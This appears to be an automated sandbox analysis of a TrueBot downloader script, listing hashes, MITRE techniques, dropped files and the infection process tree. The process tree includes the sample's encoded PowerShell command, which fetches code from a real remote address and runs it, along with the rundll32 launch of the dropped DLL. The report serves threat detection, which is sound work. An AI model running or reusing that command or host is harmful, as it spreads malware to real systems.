truebot | 9bc00abf2471492c02cf87d2a4a9dad3fb6b438c0754c40f144d443af3f1ea6e

General

Target

1/3c57867dc4bdeb8a7d55dfb7d8ef5008.js
Size

67KB
MD5

3c57867dc4bdeb8a7d55dfb7d8ef5008
SHA1

e083903420cb64a603d626699ab55e26e39995fc
SHA256

c3aaae4bb3952db93ac5d1514761a4490d6eea55ba2ab2f8ae8d306713183d3c
SHA512

a77cf3d005729235511024ad727bb8c9c76d7e96fe91a892b868e0939517e1910f3cb21d603824941c06b2c946d9810efd37772e9d99888546a1abf89d4727cc
SSDEEP

1536:EMtPc6S1wxBOGKZUXldvp3yZEKs7+QhqWIoCqlO1wKF7x1tNRhn4xVNe/6BPfGMe:i1wxBOGKZUXldvp3yZEKs7+QhqWIoCqK

Score

10^/10

truebot downloader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.69/dll.png

Signatures

TrueBot payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot
C:\Users\Admin\AppData\Roaming\NoSleep.dll	family_truebot

TrueBot, Silence.Downloader
A downloader attributed to Silence group first seen in 2017.
downloader truebot
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

16 2992 powershell.exe
36 3536 rundll32.exe
46 3536 rundll32.exe
47 3536 rundll32.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation wscript.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3536 rundll32.exe
Drops file in Windows directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File created C:\Windows\Tasks\MicrosoftEdgeUpdateTaskMachineCore{1575CC8A-457A-1700-652A-6AF2B031A266}.job rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

2992 powershell.exe
2992 powershell.exe
3536 rundll32.exe
3536 rundll32.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exerundll32.exe

description pid process

Token: SeDebugPrivilege 2992 powershell.exe
Token: SeDebugPrivilege 3536 rundll32.exe

flow	pid	process
16	2992	powershell.exe
36	3536	rundll32.exe
46	3536	rundll32.exe
47	3536	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe

pid	process
3536	rundll32.exe

description	ioc	process
File created	C:\Windows\Tasks\MicrosoftEdgeUpdateTaskMachineCore{1575CC8A-457A-1700-652A-6AF2B031A266}.job	rundll32.exe

pid	process
2992	powershell.exe
2992	powershell.exe
3536	rundll32.exe
3536	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeDebugPrivilege	3536	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

wscript.execmd.exepowershell.execmd.exe

description	pid	process	target process
PID 4348 wrote to memory of 3852	4348	wscript.exe	cmd.exe
PID 4348 wrote to memory of 3852	4348	wscript.exe	cmd.exe
PID 3852 wrote to memory of 2992	3852	cmd.exe	powershell.exe
PID 3852 wrote to memory of 2992	3852	cmd.exe	powershell.exe
PID 2992 wrote to memory of 4480	2992	powershell.exe	cmd.exe
PID 2992 wrote to memory of 4480	2992	powershell.exe	cmd.exe
PID 4480 wrote to memory of 3536	4480	cmd.exe	rundll32.exe
PID 4480 wrote to memory of 3536	4480	cmd.exe	rundll32.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1\3c57867dc4bdeb8a7d55dfb7d8ef5008.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4ANgA5AC8AZABsAGwALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4ANgA5AC8AZABsAGwALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2992
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c rundll32 %APPDATA%\NoSleep.dll,ChkdskExs
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4480
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 C:\Users\Admin\AppData\Roaming\NoSleep.dll,ChkdskExs
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o4400cpm.tcj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.dll

Filesize
1.1MB

MD5
f52363b6cf282669e5fcc5537b5c3451

SHA1
9d9a0b90042fce790ab23191be9cce44c86f13d9

SHA256
b803db527f146f0d356700e24836a2e888f74c3dd2196a99f73caa0e57007f34

SHA512
d129f4f67691d9042e0bd0d94fabdecf96cadc33d15a662d1910bbb6bbf807eb73cc907f9268aaf99c7680a34d4088b3e79da8cff2dda7f12bc1ba95b44b6b49

Download Submit
memory/2992-138-0x00000235DBD50000-0x00000235DBD72000-memory.dmp

Filesize
136KB

Download
memory/2992-143-0x00000235DBF20000-0x00000235DBF30000-memory.dmp

Filesize
64KB

Download
memory/2992-144-0x00000235DBF20000-0x00000235DBF30000-memory.dmp

Filesize
64KB

Download
memory/2992-145-0x00000235DBF20000-0x00000235DBF30000-memory.dmp

Filesize
64KB

Download
memory/2992-149-0x00000235DBF20000-0x00000235DBF30000-memory.dmp

Filesize
64KB

Download
memory/2992-150-0x00000235DBF20000-0x00000235DBF30000-memory.dmp

Filesize
64KB

Download
memory/2992-151-0x00000235DBF20000-0x00000235DBF30000-memory.dmp

Filesize
64KB

Download

Analysis

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